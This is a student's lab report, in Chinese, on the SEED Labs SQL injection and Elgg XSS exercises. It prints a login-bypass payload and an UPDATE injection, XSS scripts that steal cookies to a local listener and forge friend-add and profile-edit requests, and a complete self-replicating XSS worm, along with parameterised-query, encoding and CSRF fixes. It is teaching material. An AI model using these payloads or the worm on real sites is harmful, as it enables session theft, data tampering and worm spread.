20253913 2025-2026-2 《网络攻防实践》第十周作业
《网络攻防实践》第十次作业报告
一、实践内容
1.1 Web 应用安全与输入验证问题
Web 应用通常由浏览器、Web 服务器、后端程序和数据库共同组成。用户在浏览器中输入账号、密码、个人资料等内容后,请求会被发送到后端程序,后端再根据业务逻辑查询或修改数据库,最后将处理结果返回到页面中显示。这个过程中,用户输入既可能进入 SQL 语句,也可能进入 HTML 页面输出位置。如果服务端没有正确处理这些输入,就容易产生典型 Web 漏洞。
SQL 注入和 XSS 都属于输入与输出处理不当导致的安全问题。SQL 注入的关键在于用户输入被拼接进 SQL 语句后改变了原有数据库操作逻辑;XSS 的关键在于用户输入被当作页面脚本执行,导致浏览器执行了不可信代码。二者虽然发生位置不同,但本质上都说明 Web 应用不能直接信任来自用户端的数据。
1.2 SQL 注入攻击概述
SQL 注入是指攻击者通过构造特殊输入,使输入内容被数据库解释为 SQL 语句的一部分,从而改变原本的查询、更新或删除逻辑。在本地授权实验环境中,SQL 注入可以用于理解认证绕过、数据读取和数据篡改的形成原因。
SQL 注入产生的根本原因是服务端将用户输入直接拼接进 SQL 语句,而不是将用户输入作为普通数据绑定到查询参数中。例如,程序原本希望查询:
SELECT * FROM credential
WHERE name = '用户名' AND Password = '密码哈希';
如果用户名位置没有参数化处理,攻击者输入特殊字符闭合引号并加入注释符,就可能绕过后面的密码判断条件。
常见 SQL 注入可以从多个角度分类:
- 按注入位置划分:
- GET 参数注入:恶意内容通过 URL 参数传入;
- POST 参数注入:恶意内容通过表单正文传入;
- Cookie 注入:恶意内容通过 Cookie 字段传入;
- Header 注入:恶意内容通过 User-Agent、Referer 等请求头传入。
- 按利用方式划分:
- 联合查询注入:利用
UNION SELECT拼接查询结果; - 布尔盲注:根据页面真假差异逐步推断数据;
- 时间盲注:利用延时函数根据响应时间推断数据;
- 报错注入:利用数据库报错信息泄露数据;
- 堆叠查询注入:在支持多语句执行时追加新的 SQL 语句。
- 联合查询注入:利用
- 按 SQL 语句类型划分:
- SELECT 型注入:常见于登录、搜索、查询接口;
- UPDATE 型注入:常见于修改个人资料、修改配置接口;
- INSERT 型注入:常见于注册、留言、评论接口;
- DELETE 型注入:常见于删除记录、批量管理接口。
SQL 注入可能造成严重危害,包括绕过登录认证、非授权读取用户信息、篡改数据库内容、泄露密码哈希、工资、SSN 等敏感字段,甚至在特定环境下进一步造成权限提升或服务器失陷。
1.3 SQL 注入防御方法
SQL 注入不能只依赖过滤单个关键字解决,因为攻击者可以通过编码、大小写变化、注释符、数据库语法差异等方式绕过简单过滤。更可靠的防护方式包括:
- 使用参数化查询或预编译语句,将 SQL 结构和用户数据分离;
- 对输入进行白名单校验,例如工资字段只能为数字、邮箱字段必须符合邮箱格式;
- Web 程序连接数据库时使用最小权限账号,不应使用 root;
- 密码使用安全哈希函数存储,例如
password_hash()和password_verify(); - 登录和修改资料等敏感接口使用 POST,不应将密码放在 URL 中传输;
- 数据库错误信息不直接回显给用户,应记录到服务端日志;
- 后台管理权限应使用角色字段校验,不能只依赖用户名是否等于
Admin; - 对修改资料、修改密码等状态变更接口增加 CSRF Token;
- 配合日志审计和异常行为监测,及时发现异常登录、批量查询、异常更新等行为。
1.4 XSS 攻击概述
XSS,即跨站脚本攻击,是指攻击者将恶意脚本注入到 Web 页面中,使其他用户访问页面时浏览器执行这些脚本。XSS 的核心不是服务器直接执行了攻击代码,而是浏览器把不可信内容当作 JavaScript 执行。
XSS 产生的主要原因包括:用户输入在保存或输出时没有经过安全过滤;页面输出时没有进行 HTML 编码;富文本编辑器允许危险标签或事件属性;Cookie、安全令牌等敏感信息可以被页面脚本读取。
常见 XSS 类型包括:
- 反射型 XSS:恶意脚本通过 URL 或请求参数提交后立即反射到响应页面中;
- 存储型 XSS:恶意脚本被保存到数据库、个人资料、留言、评论等位置,其他用户访问时触发;
- DOM 型 XSS:漏洞主要发生在前端 JavaScript 对 DOM 的不安全操作中,服务端响应中不一定直接包含恶意脚本。
本次 Elgg 实验中的 XSS 属于存储型 XSS,因为恶意脚本被写入 Alice 的个人资料页面中,并长期保存在服务器端。其他用户访问 Alice 主页时,浏览器会自动解析并执行这些脚本。
XSS 的危害不只是弹窗。它还可能导致 Cookie 泄露、伪造用户请求、自动添加好友、修改用户资料、传播 XSS 蠕虫等后果。如果攻击脚本可以借助受害者登录态执行敏感操作,影响范围会进一步扩大。
1.5 XSS 防御方法
XSS 防护需要同时关注输入、存储、输出和浏览器安全策略,常见方法包括:
- 对所有输出到 HTML 页面中的用户内容进行编码,例如使用
htmlspecialchars(); - 对富文本内容采用 HTML 白名单过滤,只允许安全标签和安全属性;
- 使用 HTMLawed 等安全过滤插件,对用户提交的 HTML 内容进行净化;
- Cookie 设置
HttpOnly,减少 JavaScript 读取 Cookie 的风险; - Cookie 设置
Secure,限制只通过 HTTPS 传输; - Cookie 设置
SameSite,降低跨站请求携带 Cookie 的风险; - 关键操作使用 CSRF Token,防止脚本借助用户登录态伪造操作;
- 配置内容安全策略 CSP,限制脚本加载来源;
- 禁止或严格限制内联 JavaScript;
- 服务端统一过滤,不应只依赖前端校验,因为前端校验容易被绕过。
1.6 本次实验环境与实验目标
本次作业包含两个主要实验:
- SEED SQL 注入攻击与防御实验;
- SEED XSS 跨站脚本攻击实验。
实验均在 SEED Labs 教学虚拟机和本地授权靶场环境中完成,实验目的不是攻击真实系统,而是通过可控环境理解 SQL 注入和 XSS 的形成原因、攻击链条、验证方法和修复思路。
二、实验过程
2.1 实验准备
实验开始前,导入并启动 SEEDUbuntu-16.04-32bit 虚拟机,并按照实验要求调整显示分辨率和终端环境。

随后切换到 root 用户。SEED Ubuntu 默认 root 切换命令为:
su -
输入密码:
seedubuntu
进入 root 环境后,使用以下命令修改主机名:
hostname mjc20253913
重新打开终端后,可以看到终端提示符中的主机名已经变为 mjc20253913,说明主机名修改成功。

Web 实验依赖 Apache 服务,因此需要启动 Apache2:
sudo service apache2 start
sudo service apache2 status
status 显示 Apache 处于运行状态后,说明本地 Web 实验环境可以正常访问。

2.2 SEED SQL 注入攻击与防御实验
2.2.1 熟悉数据库和 SQL 查询
首先使用 root 账号登录 MySQL 数据库:
mysql -u root -pseedubuntu
登录成功后,查看当前 MySQL 中已有数据库:
show databases;
执行结果中可以看到 Users 数据库。


进入 Users 数据库:
use Users;
查看数据库中的表:
show tables;
可以看到其中存在 credential 表。

继续查询 credential 表内容:
select * from credential;
查询结果显示,该表是一张员工信息表,包含 ID、Name、EID、Salary、Birth、SSN、PhoneNumber、Address、Email、NickName、Password 等字段。其中 Salary、SSN、Password 等字段属于敏感信息,如果 Web 应用存在 SQL 注入漏洞,攻击者可能在未授权情况下读取或篡改这些数据。

2.2.2 SELECT 语句 SQL 注入攻击:绕过登录认证
在浏览器中访问 SQL 注入实验站点:
http://www.seedlabsqlinjection.com/
页面显示为员工登录界面,包含用户名和密码输入框。

右键查看页面源码后,可以发现登录表单使用 GET 方法提交参数,并将请求发送到 unsafe_home.php。GET 方式会把用户名和密码放入 URL 参数中,这本身就不适合传输敏感信息。

先尝试使用普通弱口令登录,页面提示账号或密码错误,说明不能通过简单密码猜测登录成功。

随后进入代码审计阶段,在终端中查看 unsafe_home.php 源码:
sudo vim /var/www/SQLInjection/unsafe_home.php


在源码中可以看到,用户名和密码分别来自 GET 参数:
$input_uname = $_GET['username'];
$input_pwd = $_GET['Password'];
密码经过哈希处理后参与查询,但用户名没有进行参数化绑定、转义处理或白名单校验。后端把用户输入直接拼接进 SQL 查询语句,其逻辑可还原为:
SELECT ... FROM credential
WHERE name = '$input_uname' AND Password = '$hashed_pwd';
如果用户名输入正常内容,SQL 会按照“用户名匹配且密码哈希匹配”的逻辑执行。但当用户名输入:
Admin' #
密码留空或任意输入时,拼接后的 SQL 条件会变成类似:
WHERE name = 'Admin' #' AND Password = '...'
在 MySQL 中,# 是注释符,后面的密码判断条件会被注释掉。因此数据库最终只判断:
name = 'Admin'
只要 credential 表中存在 Admin 用户,认证逻辑就会被绕过。
在登录页面用户名处输入:
Admin' #
密码可以留空或任意填写,点击登录后成功进入 Admin 账号。

登录成功后进入管理员页面,可以看到系统显示了所有员工的资料信息,包括用户名、EID、工资、生日、SSN 等字段。这说明 SELECT 型 SQL 注入不仅可以绕过登录,还可能导致敏感数据泄露。

2.2.3 UPDATE 语句 SQL 注入攻击:修改用户工资
登录后进入个人资料编辑页面。页面中可以修改昵称、邮箱、地址、电话号码和密码等信息。

查看编辑页面源码后,可以发现表单仍然使用 GET 方法提交数据,提交目标为:
unsafe_edit_backend.php

使用浏览器开发者工具抓包,也可以验证点击保存后,表单参数确实通过请求发送到了 unsafe_edit_backend.php。

继续查看后端文件源码:
sudo vim /var/www/SQLInjection/unsafe_edit_backend.php

该接口接收的参数包括:
NickNameEmailAddressPhoneNumberPassword
其数据流可以概括为:
$_GET[...] -> $input_* -> SQL 字符串拼接 -> $conn->query($sql)
后端 UPDATE 语句逻辑类似:
UPDATE credential SET
nickname='$input_nickname',
email='$input_email',
address='$input_address',
PhoneNumber='$input_phonenumber'
WHERE ID=$id;
问题在于,nickname 等字段被直接拼接进 SQL。攻击者可以在 NickName 参数中闭合原本的单引号,然后插入新的字段赋值语句,并使用注释符截断后续内容。
实验中先查看 Boby 原始资料,可以看到 Boby 的工资为原始值。

随后在资料编辑页面的 NickName 输入框中填入以下 Payload:
', salary='20253913' where Name='Boby'; #
该输入会改变原本 UPDATE 语句的结构。原本程序只应修改当前登录用户的昵称、邮箱、地址等资料,但注入后,SQL 逻辑被改写为修改 Name='Boby' 的记录,并将 salary 字段设置为 20253913。后续原本由程序拼接的字段会被注释符截断。

提交后再次查看 Boby 资料,可以看到 Boby 的工资已经被修改为:
20253913

该实验说明,UPDATE 型 SQL 注入的危害不只是读取数据,还可以直接篡改数据库内容。由于该接口使用 GET 修改状态,并且密码修改等敏感操作不要求旧密码,还会进一步带来 CSRF 风险。
2.2.4 SQL 注入对抗与修复方案
本实验中 SQL 注入漏洞的根本原因不是某一个特殊 Payload,而是服务端把用户输入直接拼接进 SQL 语句。修复时应从代码结构上解决问题,而不是简单过滤 '、# 等字符。
1. 登录查询使用参数化查询
登录逻辑应使用预编译语句,将用户名作为参数绑定,而不是拼接到 SQL 中:
$stmt = $conn->prepare(
"SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name = ?"
);
$stmt->bind_param("s", $input_uname);
$stmt->execute();
$result = $stmt->get_result();
这样即使用户输入 Admin' #,数据库也只会把它当作普通字符串处理,不会把其中的引号和注释符解释为 SQL 语法。
2. 更新资料接口同样使用参数化查询
资料更新代码也应改为参数化形式:
$stmt = $conn->prepare(
"UPDATE credential
SET nickname = ?, email = ?, address = ?, PhoneNumber = ?
WHERE ID = ?"
);
$stmt->bind_param(
"ssssi",
$input_nickname,
$input_email,
$input_address,
$input_phonenumber,
$id
);
$stmt->execute();
此时 nickname 中即使包含恶意 SQL 片段,也不会改变 UPDATE 语句结构。
3. 密码使用安全哈希存储
不应继续使用简单 SHA1 保存密码。注册或修改密码时应使用:
$hashed_pwd = password_hash($input_pwd, PASSWORD_DEFAULT);
登录验证时使用:
if (password_verify($input_pwd, $row['Password'])) {
// login success
}
4. 登录和修改资料接口改为 POST
密码和状态修改参数不应通过 GET 方式出现在 URL 中。登录、修改资料、修改密码等接口应改为 POST 请求,减少敏感信息在浏览器历史记录、代理日志和服务器访问日志中泄露的风险。
5. 状态修改接口增加 CSRF Token
资料修改接口应验证 CSRF Token:
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
http_response_code(405);
exit('Method Not Allowed');
}
if (!isset($_POST['csrf_token'], $_SESSION['csrf_token']) ||
!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
http_response_code(403);
exit('Invalid CSRF token');
}
前端表单中加入隐藏字段:
<input type="hidden" name="csrf_token"
value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>">
6. 页面输出时进行 HTML 编码
数据库字段最终会显示到页面中,因此输出时也应进行编码,避免 SQL 注入修复后又出现 XSS:
function e($value) {
return htmlspecialchars($value ?? '', ENT_QUOTES, 'UTF-8');
}
echo "<td>" . e($email) . "</td>";
echo "<td>" . e($address) . "</td>";
echo "<td>" . e($nickname) . "</td>";
不能直接输出:
echo "<td>$email</td>";
7. 管理员权限使用角色校验
管理员权限不应只依赖用户名是否为 Admin。更合理的方式是在数据库中增加 role 字段,登录成功后保存角色信息:
$_SESSION['role'] = $row['role'];
访问管理员功能时进行校验:
if ($_SESSION['role'] !== 'admin') {
http_response_code(403);
exit('Forbidden');
}
8. 数据库账号使用最小权限
Web 应用不应使用 root 账号连接数据库。应创建专门的低权限数据库账号,只授予业务所需的 SELECT、UPDATE 等权限,并从环境变量读取数据库配置:
$dbhost = getenv('DB_HOST');
$dbuser = getenv('DB_USER');
$dbpass = getenv('DB_PASS');
$dbname = getenv('DB_NAME');
9. 错误信息不直接回显
数据库错误不应直接显示给用户,应写入日志,前端只返回通用错误信息:
error_log("DB error: " . $conn->error);
http_response_code(500);
exit("Internal server error");
以上内容属于 SQL 注入漏洞的修复方案设计和进一步安全加固方法。
2.3 SEED XSS 跨站脚本攻击实验
2.3.1 Elgg 实验环境与用户登录
在浏览器中访问 Elgg XSS 实验站点:
http://www.xsslabelgg.com
实验用户口令规则如下:
| 用户 | 密码 |
|---|---|
| Alice | seedalice |
| Boby | seedboby |
| Samy | seedsamy |
| Admin | seedelgg |
首先使用 Alice 账号登录,进入 Alice 的个人主页。随后点击头像下方的 Edit profile,进入个人资料编辑页面。


2.3.2 发布恶意消息并弹出警告窗口
在 Alice 的 Brief description 中输入以下脚本:
<script>alert('mjc20253913');</script>
保存后,该脚本被存储到 Alice 的个人资料中。

当页面重新加载时,浏览器解析到 <script> 标签并执行其中的 JavaScript,弹出内容为 mjc20253913 的警告窗口。

随后退出 Alice,使用 Boby 账号登录并访问 Alice 主页。Boby 访问 Alice 主页时同样出现弹窗,说明恶意脚本并不是只在 Alice 本地生效,而是已经作为 Alice 个人资料的一部分保存到服务器端。该漏洞属于存储型 XSS。

2.3.3 弹窗显示 Cookie 信息
将 Alice 个人资料中的 Payload 修改为:
<script>alert(document.cookie);</script>
document.cookie 可以读取当前页面中允许 JavaScript 访问的 Cookie。当其他用户访问 Alice 页面时,浏览器会执行该脚本并弹出当前访问者的 Cookie 信息。

当页面重新加载时,浏览器解析到 <script> 标签并执行其中的 JavaScript,弹出内容为Alice的Cookie信息。
使用 Boby 访问 Alice 页面后,页面弹出 Boby 当前会话相关 Cookie 信息。这说明 XSS 不仅可以用于弹窗验证,还可能威胁用户会话安全。
2.3.4 窃取受害者 Cookie
在攻击端终端使用 netcat 监听 3913 端口:
nc -l 3913 -v
随后在 Alice 的个人资料中写入以下 Payload:
<script>
document.write('<img src=http://127.0.0.1:3913?cookies=' +
escape(document.cookie) + '>');
</script>
该脚本的原理是利用浏览器加载图片资源的行为,把 document.cookie 拼接到图片 URL 的查询参数中。浏览器尝试加载该图片时,会向监听端口发送请求,从而把 Cookie 带出。
保存后,监听端首先能够接收到 Alice 自己访问页面时发出的 Cookie 请求。

随后使用 Boby 登录并访问 Alice 主页。此时 Boby 的浏览器执行 Alice 页面中的恶意脚本,监听端接收到 Boby 的 Cookie。实验中 Alice 作为攻击者,Boby 作为受害者。

在真实攻击中,攻击者可能将 127.0.0.1 替换为自己控制的远程服务器地址。本实验仅在本地环境中验证 XSS 窃取 Cookie 的原理。
2.3.5 利用 XSS 自动添加好友
为了实现自动添加好友,先使用 Alice 手动添加 Boby 为好友,并打开浏览器开发者工具观察请求过程。

抓包结果显示,Elgg 添加好友请求提交到:
http://www.xsslabelgg.com/action/friends/add
请求中的关键参数包括:
friendelgg_tselgg_token
其中,friend 表示要添加的用户 ID;elgg_ts 和 elgg_token 是 Elgg 用于请求校验的安全参数。


根据观察到的请求格式,可以在页面中读取 Elgg 当前已有的安全参数,并构造 XMLHttpRequest 请求。例如实验中构造的核心逻辑为:
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
将该段代码放入 Alice 的 About me 区域,并切换到 Edit HTML 模式后保存。如果不切换到 HTML 编辑模式,富文本编辑器可能会转义脚本内容,导致代码无法执行。

随后使用 Samy 登录。Samy 初始状态下没有任何好友。

当 Samy 访问 Alice 页面后,脚本借助 Samy 的登录态自动向 Elgg 发起添加好友请求。Samy 并没有主动点击添加好友按钮,但其好友列表中已经出现 Alice,说明 XSS 脚本成功伪造了用户操作。


2.3.6 利用 XSS 修改受害者个人资料
修改受害者个人资料的思路与自动添加好友类似。先分析 Elgg 修改资料时提交的请求参数,再构造能够携带当前用户 elgg_ts 和 elgg_token 的 JavaScript 请求。脚本被写入 Alice 的 About me 区域,并使用 Edit HTML 模式保存。
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>hhh,mjc20253913 is here!</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

在 Samy 访问 Alice 页面前,Samy 的个人主页资料保持原样。

当 Samy 访问 Alice 页面后,浏览器执行 Alice 页面中的脚本,并借助 Samy 当前登录态提交资料修改请求。访问结束后,Samy 的个人主页资料被自动修改。

该实验说明,XSS 的危害不仅在于读取 Cookie 或弹窗,还可以以受害者身份执行状态修改操作。如果应用对关键操作缺少严格的服务端校验,攻击者就可能通过 XSS 控制用户行为。
2.3.7 编写 XSS 蠕虫
普通 XSS 往往要求受害者访问攻击者页面才会触发,而 XSS 蠕虫具备自我复制能力。它不仅执行恶意操作,还会把恶意脚本继续写入受害者自己的个人资料页。这样,后续其他用户访问该受害者页面时,也会继续被感染。
本实验中编写的 XSS 蠕虫代码与修改受害者资料的思路相近,核心区别在于它会把自身脚本复制到受害者主页中,使受害者页面也成为新的传播源。
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>mjc20253913 is here!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}</script>

使用 Boby 登录并访问 Alice 页面后,Boby 被感染,其个人资料中也出现了相应的恶意内容。

随后使用 Admin 访问 Boby 页面,Admin 也被感染。这说明蠕虫已经不再局限于 Alice 页面,而是可以沿着用户访问关系继续传播。
访问前:

访问后发现Admin也被“感染”。

XSS 蠕虫的危害范围明显大于普通单点 XSS。一旦社交类网站、论坛或协作平台存在存储型 XSS,恶意脚本可能在用户之间快速扩散,造成批量账号受影响、资料被篡改或会话信息泄露。
2.3.8 XSS 对抗实验与扩展防护方案
本次实验中使用 Elgg 内置的 HTMLawed 插件进行 XSS 对抗。使用 Admin 登录后,点击右上角 Administration,进入插件管理页面。


在插件列表中找到 HTMLawed 插件。插件说明为:
Provides security filtering. Running a site with this plugin disabled is extremely insecure. DO NOT DISABLE.
这说明 HTMLawed 用于提供安全过滤,如果禁用该插件,站点会处于非常不安全的状态。

点击启用 HTMLawed 后,再次进行 XSS 攻击验证。重新让 Admin 访问 Alice 页面时,受害者主页不再被自动修改,说明危险 HTML 或脚本内容已经被过滤,攻击失效。

HTMLawed 的作用是对 HTML 输入进行过滤和净化,使危险标签、危险属性或脚本无法继续生效。实验中实际完成的对抗方式是启用 HTMLawed 插件。
进一步安全加固还可以从以下方面展开:
- 对所有输出内容进行 HTML 编码,避免用户输入被浏览器解释为标签或脚本;
- 对富文本输入使用白名单过滤,只允许安全标签和安全属性;
- Cookie 设置
HttpOnly,减少脚本读取 Cookie 的风险; - Cookie 设置
Secure,保证 Cookie 只通过 HTTPS 传输; - Cookie 设置
SameSite,降低跨站请求滥用风险; - 配置 CSP,限制脚本来源,减少内联脚本执行机会;
- 对添加好友、修改资料等关键操作增加 CSRF Token;
- 后端统一过滤和校验,不能只依赖前端富文本编辑器;
- 对用户资料、评论、留言等持久化内容进行安全审计;
- 对异常批量添加好友、异常资料修改等行为进行日志告警。
三、学习中遇到的问题及解决
3.1 问题一:SQL 注入 Payload 输入后没有成功绕过登录
实验开始时,SQL 注入 Payload 并不是随便输入特殊字符就一定能成功。常见现象是输入后仍然提示账号或密码错误,页面没有进入 Admin 用户界面。
原因主要有几个方面。第一,Payload 中单引号、空格或注释符输入不正确,导致 SQL 语句没有被正确闭合。第二,没有理解后端 SQL 拼接结构,只知道输入 #,但不知道它应该注释掉哪一部分。第三,用户名大小写写错,Admin 与普通用户名称不匹配。第四,# 作为 MySQL 注释符时,后面最好保留空格或注意 URL 编码,否则在某些情况下可能不会按预期截断后续条件。
解决时没有继续盲目尝试 Payload,而是回到 unsafe_home.php 源码中分析数据流。确认用户名来自:
$_GET['username']
并且直接进入:
WHERE name = '$input_uname' AND Password = '$hashed_pwd'
之后手动还原拼接结果,明确 Admin' # 的作用是闭合 name 字段对应的引号,并注释掉后面的密码条件。重新输入:
Admin' #
后成功绕过登录。这个过程让我意识到,SQL 注入不是记忆某个固定 Payload,而是要理解输入内容如何改变 SQL 语句结构。
3.2 问题二:Elgg 中 XSS 代码保存后没有执行
在 Elgg 实验中,也出现过脚本保存后没有触发的情况。表现为已经把 JavaScript 写入资料页,但其他用户访问页面时没有弹窗,也没有自动添加好友或修改资料。
原因主要有三个。第一,代码没有写入正确位置,或者写入后没有保存成功。第二,在 About me 中写脚本时没有切换到 Edit HTML 模式,富文本编辑器可能把 <script> 当作普通文本转义。第三,在对抗实验阶段,如果 HTMLawed 已经启用,危险脚本会被过滤,保存后的内容不会再按原样执行。
解决方法是先区分实验阶段:在漏洞验证阶段确认 HTMLawed 未启用,并使用 Alice 写入脚本,再切换到 Boby 或 Samy 访问 Alice 页面验证;在需要写入 About me 的实验中,先点击右上角的 Edit HTML,再粘贴脚本代码;保存后重新打开页面检查脚本是否被转义或删除。到了对抗阶段,脚本无法执行反而说明过滤插件开始发挥作用。
这个问题让我认识到,XSS 实验不只是写一段 <script>,还要关注输入位置、编辑器模式、服务端过滤状态和访问用户身份。
四、学习感想和体会
通过本次实验,我对 SQL 注入和 XSS 的理解比之前更加具体。以前看到 SQL 注入时,容易把它理解成“输入特殊字符绕过登录”,但实际分析源码后才发现,真正关键的是用户输入进入 SQL 拼接点后改变了原来的查询逻辑。Admin' # 之所以能成功,不是因为这个字符串本身特殊,而是它闭合了用户名条件,并利用 MySQL 注释符截断了密码判断。
代码审计的过程也很重要。定位 SQL 注入时不能只看页面是否报错,而要从输入来源、参数传递、SQL 拼接点和执行点一步一步分析。unsafe_home.php 中的问题出在 SELECT 查询,unsafe_edit_backend.php 中的问题出在 UPDATE 语句,两者造成的后果也不同:前者可以绕过登录并读取信息,后者可以直接篡改数据库字段。
XSS 实验给我的感受更直观。浏览器执行了保存在用户资料中的不可信脚本后,攻击影响就从单个页面扩展到了其他访问者。简单弹窗只是验证漏洞存在,后续读取 Cookie、自动添加好友、修改资料和传播蠕虫才体现出存储型 XSS 的真正危害。尤其是 XSS 蠕虫实验中,Boby 访问 Alice 后被感染,Admin 再访问 Boby 后也被感染,这说明只要恶意脚本能被持久化保存,就可能通过用户之间的访问关系不断扩散。
防御方面,我也认识到不能依赖简单过滤。SQL 注入的根本修复方式是参数化查询,把 SQL 结构和用户数据分开;XSS 的防护则需要服务端过滤、输出编码、Cookie 安全属性、CSP 和 CSRF Token 等多种机制配合。单纯在前端限制输入并不可靠,因为攻击者可以绕过浏览器界面直接构造请求。
本次实验把漏洞利用、代码审计和安全修复联系在了一起。相比只看漏洞原理,亲自分析请求、查看源码、构造 Payload、验证结果,再思考如何修复,能更清楚地理解 Web 安全问题为什么会发生,以及防御时应该从哪里入手。

浙公网安备 33010602011771号